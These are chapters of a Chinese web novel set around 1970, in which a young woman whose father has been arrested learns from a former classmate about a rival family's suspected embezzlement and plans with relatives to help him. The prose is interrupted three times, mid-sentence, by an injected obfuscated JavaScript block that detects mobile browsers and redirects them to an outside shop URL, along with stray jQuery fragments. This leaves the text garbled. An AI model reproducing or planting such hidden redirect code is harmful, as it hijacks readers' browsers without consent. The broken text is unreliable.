国营饭店里,坐满了客,吵吵嚷嚷。传菜的服务员扯开了嗓子叫号,急赤白脸,不时还骂上几句。
展琳见有熘鱼片,来了一份,又要了一份葱烧豆腐。拿了号,转身去找座儿。没空桌,她也不矫情,跟一对母子拼桌坐。
吃完饭,她再出来,外面已经是云霞映落日,漫天红酔。推着自行车,找了个视野好的地方,欣赏了一会儿。
很美!
是时候回七骨巷了,展琳把包背好,骑上自行车。
太阳一落,风有了凉意,吹在身上十分清爽。路上人多车多,她也不敢骑快,手指勾着刹车,两眼看着前方,余光留意着左右。
到南菜市口要过马路,她干脆下车。过了马路,走过密集的人群,她才又跨上自行车。只是刚骑两三分钟,身后就传来一连串刺耳的叮铃声。
崭新的二八大扛,像阵风一样从她旁边擦过。她两手牢牢把着车龙头,两肩膀都跟着绷紧了。
待看清是哪个混蛋这样骑车,展琳有些讶异,张力和?关键张力和后车座上还驮着岑今。
侧坐着的岑今死死抓着后座,紧张得人都发僵,但她就是不想去触碰张力和。抱歉地冲展琳笑了笑,她张嘴想让张力和慢点,可话还没出口,就一个急刹车。
刺啦一声,张力和感受到背后撞上来的温度,歪嘴一笑,放了刹车,更是大力踩脚蹬。
展琳在心里骂骂咧咧,个扑街仔,载着人还骑那么快,真系摞命。看着两人一车消失在人群里,她心情复杂。
一个下午而已,岑今对张力和的态度怎么就变了?
不过也就七八分钟,她又见到了那二位。小关桥胡同口,岑今挥手目送张力和,张力和一步三回头。
要不要这么夸张,当街上没人了?红袖章呢,哪里去了?展琳鸡皮疙瘩都竖起来了,下午在新华路东她见到的这俩,可不是现在这样子。
她不想看的,但她要从小关桥胡同过。
张力和最终还是恋恋不舍地骑上自行车走了,岑今一秒变脸,转头看向街对面的小巷子。展琳尴尬,推着车走出小巷。
岑今收回视线,转身进了胡同。
展琳仰头望了下天,天都见黑了。她穿过街道,跟着进了小关桥胡同。也不知道岑今是不是有意,脚步有些慢,她不大会儿就赶上了。
“张力和给不了你工作。”
岑今回头看了眼展琳,面无表情,继续走着路:“我听张力和说你结婚了?”
“是。”这没什么可否认的,展琳苦笑:“要恭喜我吗?”
“能嫁给了自己喜欢的人,确实值得恭喜。”岑今又慢下两步,走在了展琳左侧:“你会离开卫洋市,去黔省跟宁耘书团聚吗?”
沉默几秒,展琳转头看向岑今:“你是想要我的工作?”
小公主好像也长大了。岑今笑了,抓住展琳自行车的车把手,挤着她到前方的窄道子口。
“是你说的,张力和给不了我工作,那我不得另寻路子。”
“所以你就把主意打到我身上?”展琳没好气地朝她翻了个白眼:“你凭什么觉得我会把我的工作给你?”
岑今:“张力和的父亲张德润,是冀省仓州台山县红七公社人,52年来的卫洋市,经人介绍进电厂做会计。53年,他妻子史兰花跟着进了城。57年,史兰花进了百货大楼做售货员。57年年底,张德润把三女一子接进城。之后的十一年,他的三个女儿不是嫁人前有了好工作,就是嫁人后立马有了像样的工作。”
这些,展琳都知道,不止她,电厂很多老职工也清楚,但她还是听得很专注。直觉告诉她,岑今不会平白无故跟她说这些。
岑今没让她失望:“张德润还有个弟弟,叫张德洋,59年闹饥荒的时候,进山打猎,被狼咬死了。他撇下的媳妇跟孩子,你猜现在在哪?”
这个展琳还真不知道,她只知道张德润有个弟弟被狼咬死了。
“卫洋市吗?”
猜的挺准,岑今接着说:“张德洋的媳妇冯玉环,63年领着三儿两女来的卫洋市,到这安了家就去了宝源食品厂看仓库。”
“64年初冯玉环的大儿子进了机电厂,年尾二女儿又被安排进粮站做统计员。三儿子拜了师父学开车,66年正月就成了市政交通的正式员工。冯玉环的小女儿,张美祺,你认识吗?”
她应该认识吗?展琳摇头:“不认识。”
岑今:“市革会除了主任,还有三个副主任,黄柏山、康大年、靳冬阳。康大年三年前死了媳妇,一年后再娶,娶的就是张美棋。”
市革会副主任?展琳对这可是极其敏感:“我没听说过张德润家在卫洋市有走动的亲戚。”
“没听说过就对了。”岑今眨眼微侧头,留意着周围:“张德润家住在城东,冯玉环家安在城西。只要有心,外人就不会知道他们是从一家走出来的。”
确实,展琳疑惑:“外人既然不会知道,那你又是怎么知道的?”
岑今微笑:“彩瓦长街。我妈一共留给我和我弟276块八毛钱,我花了90块,找人打听张家的事儿。对方很老练,我就提了句革委会,人家很快就盯上了张美棋,顺藤摸瓜,摸着了。”
彩瓦长街建国前就是个乱地,三教九流鱼龙混杂。建国后,挺安分,但生活在那里的人没变多少。建国前在那混的,建国后也大多窝在那片。
展琳:“你早就知道拦你毕业分配的人,是张力和。”
“对,我还没拿到毕业证书的时候,就知道是他在搞鬼。”岑今两眼里晦暗不明。
“我考进卫洋财会的第一天,就在期待着工作分配。为了毕业后,能被分配个好工作,我门门课成绩都是第一。我一天天数着日子,好不容易等到毕业分配,可校办却告诉我,我父亲的成分有问题。”
“我再三追问,才知道一位教基础机械原理的老师,曾经去苏国留过学,67年被打倒了。我父亲是那个老师教的几批学生里,成绩最好的,也是唯一进入机械厂升了工程师的人。”
“就因为这,他们便认定我父亲跟那老师关系不浅。我父亲64年就死了,64年到今年,6年时间,没人怀疑我父亲的成分。我快要毕业分配了,冒出头来了。”
岑今家虽然不在三花果街道片区,但展琳也听说过她家的一些情况。
她爸病逝,工作被她大伯顶了。后来她妈又生病,她大伯娘替班。等她妈死了,工作顺理成章就成了她大伯娘的了。
她还有个弟弟,到了读书年龄,却一年一年被留在家里照看她大堂哥家的小孩。街道上门,那一家子都说是孩子自己不想去读书。
“拦我毕业分配,就是我的生死仇敌。”岑今来到展琳的对面,一手搭着车龙头:“你爸爸今天上午被抓了。”
展琳轻嗯一声,没什么情绪地说:“搞破鞋,被抓了个正着。”
岑今:“我这么细致地跟你讲述了《老张家进城记》,你就没有别的想法?”
展琳又不傻,自然是听出来了:“电厂财务科科长张德润不干净。”
知道就好,岑今看着展琳,在今天之前,她从来没想过跟这
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990683|193688||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个小公主,还会有多少交集。但就刚刚,小公主自己送上门来了。
“张德润的工资都是有数的,他媳妇53年进城,57年有了工作。也就是说,57年前,张德润一家六口,就只有张德润是城市户口。一人工资养六张嘴,他还能给他媳妇弄份好工作。”
“1959年闹饥荒,他弟弟冒险进山找活路,说明1959年前,张德润对老家的支援不多。再然后就是他一人扛起两房。”
“冯玉环的小儿子,是遗腹子。1959年到1961年,老张家没有饿死人。张德润的爹是1962年年末摔断腰走的,他老娘是63年春睡过去的。”
“63年,冯玉环领五个孩子进城后,就有套独门独户的小院子住就能立马上岗工作。说明房子、工作,在她没进城之前,就都安排好了。我前几天还去了一趟城西,41岁的冯玉环,那双手养得细白细白,一看就知道没干过什么重活累活。”
“她大儿子上月12号结的婚,这月初就分到了一套40多平的房子。”
“一件一件的事儿,一笔一笔的钱。”岑今倾身,凑近展琳:“我给他们家建了个账本。”
聪明人的脑子都是怎么长的?展琳对她那账本很感兴趣:“然后呢?”
“然后……”岑今声音压得更低:“等我去过张力和家,我就知道他们家的收入和他们家的账大概有多少出入了。”
展琳:“这你能算得清楚?”
“张家没进城之前,是贫农。进城之后,明面上收入都是死的。”岑今很自信:“我是以第一名的成绩,从卫洋财会毕业的。”
迟疑了两秒,展琳问到:“那你能告诉我,你现在算出的差有多少吗?”
“你不应该问我这个。”岑今笑说:“你应该问我,我为什么在这个时候,在你爸爸刚被抓了的当口,跟你讲张家。”
展琳知道了:“为什么?”
岑今很满意她听劝:“如果我是张德润,在市革会有得力的侄女婿,一定会抓住现在这个机会,把一些账给填了。”
“你爸进去了,你家现在就是砧板上的鱼肉。搞破鞋,个人作风问题,牵扯不广,名声难听罢了。但利用职务便利,侵占厂里的钱,那搞不好不仅要吃木仓子,还会影响到亲属的工作关系。”
“所以只要不过分,你家会往外掏钱的。至于你爸爸,也许不会死在市革会,但出了市革会,多的是意外可以发生。他一死,那有些事也就翻篇了。”
还真是,展琳丝毫不掩饰地看了眼岑今的脑门。这世界上那么多聪明人,为什么就不能多她一个?
“吃糖吗?”
岑今一愣,看着展琳从包里掏了三块大白兔奶糖出来,几乎是瞬间她的眼泪就涌进了眼眶。自从她爸去世后,她过得最甜的日子就是跟小公主做同桌的那一年。小公主长大了,也还是那个包里总揣着糖的小公主。
她没不好意思,回道:“吃。”
展琳递了两块给她:“你一块你弟一块。”
“谢谢!”岑今接过,分出一块收进兜里。
展琳:“我的工作不能给你。”
听到这话,岑今剥糖纸的手顿住。
“新华路西招待所会计出纳员。”展琳怕她翻脸,赶紧说:“我觉得这个工作更适合你。”
岑今抬眼,两眼炯炯:“不骗我?”
展琳:“不骗你。”
有些不敢相信,岑今再次确定:“真的?”
展琳:“真的。”
“我是一定要留在城里的。”岑今又凑近了两分,让展琳看清她的决绝:“在工作这件事上,我输不起。输了,我和我弟弟这辈子日子就到头了。我才18岁,我弟弟还没满10岁,我不甘心。我一定要弄到工作,带着我弟弟脱离那一家豺狼,去过好日子。”
展琳懂她的处境:“你要是不放心,可以现在就跟我去元钱胡同。我把工作介绍信拿给你。”白给岑今,也比便宜许燕来强。
“那倒不用,我现在就是拿到工作介绍信,张力和想搅和也是轻而易举。”岑今很理智:“你帮我好好留着,我会去找你拿。”
“随你。”展琳将她推离点,她气都呼到人脸上了,“你准备怎么去张力和家?”
“我有我的办法,你不用知道。”岑今剥了糖纸,吃糖:“天快黑了,我送你出胡同。”
“好吧。”展琳不问了。
“今天下午,我跟张力和去吴靖路的时候,在倒八门那看到你妈了。你妈和一个胡兰头大婶说了两三分钟的话,就骑车走了。那胡兰头大婶,在你妈走后,还左右望望。”
岑今跟个邻居打声招呼,又回过头来:“秦晓芹的儿子,时向赢,你见过没?”
这辈子还没有,上辈子见过。展琳摇了摇头:“怎么了?”
岑今倒过来走:“时向赢这个名字,取得很对味。”
懂了,展琳:“雄心壮志是吗?”
“你会不会用成语?”岑今转过身:“时向赢那个人表面斯斯文文,暗地里又争又抢。”
“那跟我爸还挺像。”
“胡说八道。”
出了胡同就是栖霞路,展琳脚都踩上脚蹬了,还是忍不住回头提醒岑今:“张力和一家不是好性子人,你千万小心,别把命送了。”
“不会的,有个那么好的工作在等着我,我现在可宝贝我的命了。我还想以后请你吃糖呢。”
“行啊,那我回家了。”
展琳踩脚蹬,受阻,回头一看,后车座被拉住了。
她笑了:“你还有事?”
岑今:“15号夜里,时向赢在南菜市口11号大院倒座房凤老婆子那,买了10块钱欢情香。”
啥?展琳消化了好几秒才听明白她在说什么:“半夜三更,你家几里地外的事你都知道?”
先前不想说,就是怕她会这么问。岑今松开手:“他来买药的时候,我就在凤老婆子家里屋。”
展琳:“你半夜三更去南菜市口……”
“天黑了,你赶紧回家去。”岑今转身小跑离开。
7. 第 7 章
七骨巷今晚想看热闹的人不少,包括住在6号楼的几户人家,大人小孩吃好饭就在院子里转悠,还有人明目张胆就站在附楼步梯那盯着展家。
“不是说展国成他老娘过来了吗?怎么一点动静没有?”
“老展家搬到这五年,我还是头次见他娘和兄弟上门。”
“那你是不知道,洪惠英跟她婆婆不对付。”
“刚被文斌拉出去的小子是秦寡妇那儿子吗?”
“是他,我听说那小子前几天才考进咱厂子。”
展家客厅,洪惠英坐在四方桌边,低垂着头,眼泪吧嗒吧嗒地掉。才一天,她脸上的皮肉就好像松弛了,看着十分憔悴。
头发花白的苏老太太,圆盘脸,坐在沙发上,小小一个。这会儿,她眉眼间也全是愁。
“大嫂,”展国立媳妇马艳玲从厨房走出来:“你家茶杯在哪?”小洋楼这,她也是第一次来。要不是大哥待他们不薄,她是一点不想踏这贵地,拿热脸去贴冷屁股。
洪惠英跟没听到一样,头都不带抬一下。
靠墙站着的朱红玫瞟了眼她婆婆,转身去橱柜:“我来拿。”
“琳琳不是五点下班吗?”挨着老娘坐的展国立,看向五斗柜上的座钟:“这都七点半了,她怎么还没回来?”
“琳琳今天没去上班。”洪惠英从裤子口袋里掏出手帕擤鼻涕。
“没去上班,她人呢?”外头天都黑了,展国立来的时候就注意到了,车棚里没展琳的自行车。
等了几秒,没等到答话,苏老太太也看向了洪惠英。洪惠英抽了抽发堵的鼻子说:“中午我回来的时候,她在家。”
跟苏老太太一个脸模子扒下来的展淑敏,端着两杯茶进客厅,一杯放到自个娘身前的茶几上,一杯送去给洪惠英:“大嫂,喝茶。”
洪惠英把手帕丢在桌上:“有劳了。”
倚靠在展琳房门口的文红军,见洪惠英那死样,两手抱臂,给自己媳妇使眼色,让她过来待着。
展淑敏都习惯了,大嫂不待见他们也不是一天两天了。苏老太太转头跟二儿子说:“你下楼,让文斌、文凯去元钱胡同那找找琳琳。”
“好。”展国立刚站起身,大门就被从外推开了。穿着白衬衫军绿裤的展文斌,领着他人高马大的堂弟回来了:“人送走了。”
“你们在楼下看到琳琳了吗?”朱红玫给二叔、大姑父端茶。展文斌朝后努了下嘴:“跟在后头呢。”
展琳推着展文凯往屋里走:“别堵在门口。”
“你走你走,”展文凯赶紧给他姐让道。展琳进屋,把门啪的一下带上,叫人:“奶、二叔二婶、大姑大姑父。”
“你去哪了,怎么这么晚回来?”苏老太太站起身。
“我出去打听点事儿。”展琳让她奶坐,她回房间放下包,拎了红虾酥和桃酥出来:“大嫂,咱家五斗柜里还有两盒桂花糕。”
朱红玫最喜欢小姑子的一点,就是大大方方。展文斌没让媳妇动手,自己开了五斗柜:“妹,你喝麦乳精吗?”
“喝。”展琳把桃酥、红虾酥放进盘子里,端到茶几上。展国立不客气,先给他娘拿了一块桃酥:“你出去打听什么了?”
“您说我还能去打听什么?”展琳推着她二婶到沙发坐:“大姑、大姑父,你们也搬凳子过来坐,站那干嘛?”
文红军接过侄子、侄媳妇递来的两只凳子,放到茶几边,拉媳妇坐下:“你都打听到什么了?”
“都在等着看笑话呢,这个时候我能打听到什么?”几个长辈茶水都到位了,展琳走向厕所。
“这个事吧……”文红军余光带了眼洪惠英,看向文斌、红玫小两口:“发生都已经发生了,现在去怨谁怪谁,没什么意义,目前紧要的是怎么把危害降到最低。你们要做好心理准备,你们爸这次肯定是要被撸。”
“我们知道。”展文斌中午得信,就回家找了丈母娘。丈母娘下午去了武装部一趟,回来也是这样说。
朱红玫:“现在就怕秦晓芹反咬。”搞破鞋跟强女干性质可不一样。
“秦晓芹不敢,她还有儿子。”展国立开了快二十年大车,是个粗人,说话直来直去。
展文斌:“不一定,我爸上午出事,时向赢就立马跑去电厂办入职手续,没办成。电厂人事科那里说,他被人举报了。刚我和文凯送他离开时,路上他话里话外都是工作,我听着有点威胁的意思。”
“这么说,我们还得给他找个工作?”展文凯不高兴了,凭什么?要不是看在秦晓芹救过大姑的情分上,就那狗崽子,他早揍十八回了。
“我……”展文斌话才开个头,就见他妈站起身走向主卧。
摔门声震得墙都在颤,客厅好像被冻住了一样。
展琳方便完,从厕所走出来,直接去书房,打开书架下面的柜子,左手抱两瓶茅台右手拿上两条烟,到客厅迎着几人惊诧的目光,跟她哥说:“还有不少,你去拿。”
“姐姐姐,我来我来。”展文凯从凳子上跳了起来,去接东西,妈呀妈呀,他想要。
展国立把茶几上的三盘点心往边上挪,给他好侄女腾地方:“这些现在不用,留着还不知道要便宜谁。”
看了一眼紧闭的主卧,展文斌去书房,两趟就把他爸的那些烟酒都拿了出来。
“能走的关系尽力走动。”展琳看向她奶:“我爸这事,我们也只能尽力。”
苏老太太抹了把老眼:“他自己作死,苦该他受。我早就警告过他,他有家庭,不能沾边的不要沾边。当年逃难路上,秦晓芹是救过你们大姑,但我们也一路带着她到了卫洋市,还教她识字。她结婚的时候,我私下也添了份嫁妆。后来她男人死了,我跟你们大姑又陪她找街道找厂办工会,才没让她婆家抢走她男人留下的工作,还帮她用那工作换了份供销社售货员的工作。咱们不欠她。”
“大哥这两年已经很少去秦晓芹家了,以前也是顾念她儿子小,怕人欺负他们孤儿寡母,才十天半个月去她家坐个几分钟,门都大敞着。”展淑敏眉头皱得死紧:“也不知道今天是怎么回事?”
她劝过大哥不少回,秦晓芹那有她跟娘关照着,让他不要傍边。每回大哥都说他有分寸。分寸分寸啥分寸?
“就不应该去。”马艳玲挠了挠耳后。
文红军拿了一瓶特供酒一条大前门:“这两样我老领导喜欢,一会儿我就给他送过去。”
他最近也头疼,他们供应局要改革,跟几个兄弟部门合并。原本他还想争一争采购科科长的位置,大舅哥的事情一出,他是别想了。
“再拿一瓶。”朱红玫又推了一瓶特供过去:“供应局要改革,您资历够,该争取争取。”
展琳给她二叔也拿了两条烟:“我们得想办法,尽快跟我爸见上一面。”
“妹,”展文斌把那条带滤嘴的中华递向对面:“市革会黄柏山的大儿子黄裕跟宁耘书是大学同学。”
让宁耘书走关系救她爸?展琳想都不敢想,看着递到眼前的那条中华:“哥,我跟宁耘书还没你跟你耘书哥熟。”
“你俩不是结婚了吗?”展文凯呕了声气。
马艳玲抬手就给了她家大憨子一个爆栗:“闭嘴吧你,一嘴韭菜味。”
晚上九点半,展琳和哥嫂送奶奶他们离开。这会不少人家都熄灯了,七骨巷空荡荡的。
“你们今晚还回去吗?”展淑敏问大侄子。
展文斌:“回,家里就我丈母娘跟清清在。”
马艳玲:“那是要回。你们也别送了,马上十点了。”
展琳拉着她奶站住脚:“其实今天我是打听到了点消息。”
听到这话,大家都停下看她。
展琳:“我妈下午去倒八门找过一个胡兰头大婶。”
“胡兰头?”马艳玲问小姑子:“秦晓芹家对门邻居是不是就留的胡兰头?”
展淑
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990684|193688||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
敏:“是,叫蒋大霞,她男人修铁轨的。前几年因为工作,她一砖头把她小姑子开瓢了,都闹进了派出所,后来将工作还给了她小姑子,她小姑子才出谅解书放过她。”
“还给?”展琳问:“那工作不是她的?”
展淑敏摇头:“不是,工作本来就是她婆家买给她小姑子的,只是买工作的时候,她小姑子还在念书,岁数不够接班,才让她先干着。”
马艳玲:“明天我有空,上午过饭点就揣两把瓜子去倒八门那转转。”
展琳:“还有一件事,15号夜里,时向赢在南菜市口11号大院倒座房凤老婆子那,买了10块钱欢情香。”
“什么?”展文斌震惊:“你从哪打听来的?”
文红军、展国立神色一凛,沉声问:“确定吗?”
展琳:“一个朋友告诉我的,消息肯定真实。”
苏老太太两手攥在一起:“你爸是不是还有的救?”
“别抱太大希望,大哥是上班时间去找的秦晓芹。这个错是怎么也抹不掉。”文红军都觉他大舅哥是不是被什么脏东西上身了。
“这件事我去找人再确认一下。”展国立拍拍侄女的肩膀:“你行啊。”
“回吧回吧。”马艳玲一手挽上婆婆一手拉着儿子走,催促展琳他们也快回。
看着一群人走远,展琳掏出裤腰里层小口袋里的票,借着月光,找出三转一响和电视机的票,转身递向她哥:“你拿着,还是那句话,我们必须要尽快跟爸见一面。”
展文斌接过票,拿近翻看,再次被惊到,抬眼问他妹:“哪搞来的?”
“我捡的。”展琳甩着膀子走人。
展文斌:“哪捡的?”
展琳:“我家。”
朱红玫一把夺过那几张票,追上小姑子:“下次再有这好事儿,你叫上我。我不跟你抢,我就想看着你捡。”
“成。”展琳让她嫂子把票收起来:“这事就你知我知我哥知。”
朱红玫:“那肯定。”
回到家,展琳舀了一烧水壶水放到炭炉上,出了厨房去敲主卧门:“妈,我哥他们要回去了。你前几天不是带了奶粉回来,说是要给清清吗?”
要不说还得是亲闺女,肆无忌惮!朱红玫都想跪下来,给她小姑子磕两个了。奶粉,她是真想要,做梦都想。也是当了妈之后,她才晓得小崽子有多能造。
主卧里,洪惠英倒是想躺着不动弹,但是门外那孽障话都说出去了。她只得爬起来,拿钥匙。
展琳把她妈叫了出来,展文斌立马跟在他妈身后进了书房。朱红玫去厨房找了个麻布袋,茶几上的烟酒她都要带走。
书房里,洪惠英把奶粉拿给儿子后,拉开书架的柜门,见里面空的,脸立时黑了。
展文斌抱着奶粉,心里对他妹佩服的是五体投地。今晚他妹不提,这三罐奶粉大概率是进不了他家清清的嘴。
见到三罐奶粉,朱红玫忙弯身鞠躬:“我替清清谢谢您,回去后我就嘱咐我妈,以后给清清喂奶时一定一定要告诉她这是她奶奶给的。”
洪惠英拉拉嘴角:“这么晚了,你们回去路上慢点。”
“妈您也早点休息,明天我们再过来。”展文斌把奶粉放进麻布袋,转头跟他妹说了声:“走了。”
“走吧,我不送了。”展琳给他们开门。
朱红玫:“不用送不用送。”她哪还好意思?等小姑子办酒,她必须给包个大的红纸包。
人都走了,家里只剩母女两人时,洪惠英就站在四方桌那,瞪着死丫头。
展琳也不怕,走到桌子边,给自己倒了杯水:“怎么,您那奶粉不是要给您的亲亲大孙女的?”
“我给归我给,但不是这么给。”洪惠英都快被气死了。
“那您想怎么给?”展琳抬头回视,见他妈不答话,浅浅一笑:“您早点去睡吧,我看您这……”手指点点鼻两侧,“纹比中午深了。”
8. 第 8 章
“我都41岁了,有纹很正常。”洪惠英也不瞪闺女了,拉椅子坐下,端了桌上已经凉透的茶,喝了一口,冷幽幽地说:“你倒是大方,你爸那么些好烟好酒,一晚上你全给祸祸了。”
展琳:“怎么就是祸祸了?大姑父是爷爷看中的女婿,自己考进的供应局。进了供应局,又凭本事转到采购科。虽然现在只是副科,但他干采购11年,接触的人面广,您得承认吧?”
“我二叔,开了二十年的大车,走南闯北,他门道也不窄。就说咱们家每年用超的那些煤,哪来的?”
“有枣没枣,我先把打枣的杆子给人家,万一就打着枣呢?”
“你不给,他们也会尽全力。你爸是他们一母同胞的亲大哥。”洪惠英把茶杯啪地放到桌上:“他们过去可没少倚仗我们家。”
“只有人家倚仗我们家的吗?我们家厨房的煤天下掉下来的大风吹来的。您骑的二六女式自行车我骑的二六女式自行车,都是车自己滚到咱们家的。”
“隔壁赵主任家,想给闺女买辆二六女式自行车当嫁妆,排队排了快一年。”展琳知道她妈在想什么,但她就是不愿意给。
洪惠英被闺女说得有些挂不住脸:“那你也不用把家里好东好西全都码出来吧?我原还打算明天再去找一趟你二姑、三姑。”
“你知道的呀,你二姑家大伯哥市公安局三把手,他在你爸这事儿上说得上话。你三姑父人是不在卫洋市,但京市军区师级干部。好东西用在了刀刃上,才真是好东西。”
展琳嗤笑:“您中午不是去找过何二姑吗?何二姑知道的事儿,会不跟何三姑通声气儿?她们今天晚上,是有什么要紧事吗?我二叔、大姑都来了我们家,她们怎么不来?”
“我二叔、大姑叫我爸大哥,她们不也是叫我爸大哥吗?她们妈嫁的不是我爷吗?我爷在世的时候,她们叫我爷‘爸爸’,叫得可比我爸叫得还亲。”
“我们那张奶奶不总说,咱们是一家人,一荣俱荣一损俱损。以前我爸和您对她们掏心掏肺,现在我爸出事了,需要她们出力的时候,就要您带厚礼一趟又一趟地上门找了。”
“敢情张奶奶那话,是只说给我们听的呗。”
洪惠英:“你个小姑娘懂什么?你二姑、三姑婆家那样的身份背景,这个时候就该避着点。”
“什么身份背景?”展琳侧弯身,把头凑到她妈面前:“您真的是高看我何二姑何三姑了。我何二姑知道卫俊毅是卫民跟前妻生的崽子吗?”
洪惠英两眼一下子瞪大,怎么可能?下一秒她又想到,卫民前妻可是逃港的资本家大小姐,心砰砰直跳。
展琳:“至于何三姑,她真的只是因为不放心婆家的老的小的,才不去随军的吗?”眨巴了两下眼睛,故作一脸困惑,“我怎么听说,何三姑父当年要娶的不是我何三姑呢?”
“后来他怎么就娶了我何三姑?是他自己看上我何三姑的吗?”
屋里死寂,母女眼对着眼。
“琳琳,”看着女儿眼里的自己,洪惠英不知道为什么会泛起心慌:“你是不是……是不是对妈妈有误会?”
展琳:“我对您没误会。”
“那你就是对妈妈有意见。”洪惠英想到她刚说的那些话,连忙解释:“妈妈对你二姑三姑好,也是想她们以后多帮衬你和你哥。现在你们爸又出事了,我们就更得与她们亲厚。”
“我是您生的,我对您也没意见。”展琳站直身体。
不知道是不是真的没意见,洪惠英本能地不想去刨根究底,慢慢收回目光低下头,放在腿上的两手握了又松松了又抓,透着股紧张。
展琳也不再看她,端起桌上的茶杯,喝茶。
沉默片刻,洪惠英深吸口气,似终于下定了决心:“琳琳,妈妈会跟你爸爸离婚。”
“我支持你。”展琳现在的心境很平和:“你是个活生生的人,有思想有自我。我爸出了那样不体面的事,你选择离开,没有人可以指摘。我和我哥都接受过教育,明白事理。”
她会始终尊重她妈做人的尊严,不会像上辈子她妈对她那样。
低低的啜泣声传入展琳耳里,展琳微扬起头,看向悬挂在屋顶的昏黄灯泡。
洪惠英一滴鼻水滴落,拉了老长的丝。
她想过女儿会规劝,想过该怎么说服女儿同意她离婚,想过该怎么和儿子开口……想过很多很多,唯一没想过的就是,她的女儿会毫不犹豫地支持她离婚。
这应该是她想要的,可是她的心里不但没有半分轻松,竟还生出愧疚来,很多很多的愧疚。
从口袋里掏了手帕放到桌边,展琳移步去厨房兑洗澡水,拎到厕所间。回房拿了毛巾、睡衣、洗发膏、香皂,今天流了不少汗,她要好好洗洗。
等她洗完出来,洪惠英女士已经不在客厅了。
展琳对着电风扇把头发吹个半干,用木梳子通通头,她考虑要不要去把头发剪短点,现在真的太长了,都长过腰了。
通了几遍头,头发就干得差不多了。
这一夜,展琳以为会像昨夜那样睡睡醒醒,却不想躺床上复盘白天的事儿,才复盘个开头便睡着了。一觉到天亮,连个梦都没做。早上醒来,整个人都饱满了,倍儿精神。
在床上赖了几分钟,她就起来了,今天还有不少事儿。
七点半,洪惠英端着煮好的粥,放到客厅桌上。相较昨天,今天她的皮肤更加暗沉,两眼下都挂上了袋子。
一碗粥搭个咸鸭蛋,再加上两块鸡蛋糕。很好的早饭了,可她却吃得像在完成任务一样。
展琳开门走出房间,洗漱后也坐到了桌边,拿碗盛粥:“您时间快来不及了。”
“没事,我这就走了。”洪惠英把碗里最后一口粥吃完,将桌上的碎蛋壳扫进碗里:“元钱胡同那,我过几天去给你收拾。你最近先不去上班,我会再跟你们主任打声招呼。”
“好。”展琳磕了个咸鸭蛋。
“本来你出长差回来,就有两天假,合上一天周末,那就是可以休3天。3天假,你到昨天已经休完了,从今天起就是请假。”洪惠英起身:“你也少往外跑,我给你请病假,你别被你们单位的同志在外撞见。”
“知道了。”她会小心的:“您也跟我们主任说清楚,我缺班,该扣工资扣工资,之后需要补班的话,我也接受安排。”
洪惠英去厨房漱了嘴,回来拿上包:“你一会把碗洗了。”
“好。”
锅里就两碗粥,展琳都给吃了。洗了锅碗,她翻了个大布包出来,将梳妆台柜子里的毛线都装了进去,又把两袋大白兔奶糖塞到布包两侧,最后看向放在书桌上的那条中华烟。
她大哥非要留给宁耘书的。
展琳抬手耙耙脑袋,走过去,还是带着吧。这东西随便掏出去一包,都能办个不小的事儿。
八点半,她头顶大草帽,拎着包出门了。院子里几个小孩在争着打陀螺,分不出空来看她。
从七骨巷骑车到元钱胡同,要半个小时。路上展琳还停下,排了六七分钟的队,买了三个牛肉大葱
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990685|193688||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
包子。也是叫她遇着了,平时可没这馅儿。
今天元钱胡同6号院挺热闹,她刚进小门,就看到一大群人围在她家隔壁的隔壁,尤韶春尤姐家门外。
“尤韶春你个泼妇,老子不打女人你当老子是怂蛋。老子警告你,你再推老子试试,老子动手了。”
“动动动你动,朝这动。”一道清丽的声音,强势出击:“你可不就是个怂蛋玩意儿。我这块肥地,你耕了一年了,屁都没种出来。老尤家就剩老娘一根独苗儿,老娘是要给我老尤家传宗接代的。你当老娘招赘是干啥?”
“自己生不出娃来,你怪老子,你脸都不要了。”
“不怪你怪谁?医院大夫都说了,我身体好得很。地好出不了苗,就是种子太孬。今天这婚你离也得离不离也得离。你他娘要再敢给我提一句过继你前头那儿子,我就劁了你。”
展琳路过,踮脚往里看了眼,见到尤姐把一卷铺盖扔出门,她在心里大力鼓掌。
尤姐这个男人,长的浓眉大眼硬硬朗朗一副正派模样,但可不是什么好东西。
上辈子两人离了婚没几天,前头一进院媒婆子水大娘就听到个小道消息,说这男人早盯上老尤家了,跟之前那媳妇是假离婚。
后来这条小道消息,也被尤姐亲自找上门证实了。尤姐一人打他们一家,打得那两口子在医院躺了半个月。
尤韶春同志,祖传的兽医,专治各种不开口,12岁就替父给养殖场劁猪,17岁被编入市畜牧站,一米七五的高个,能文能武。
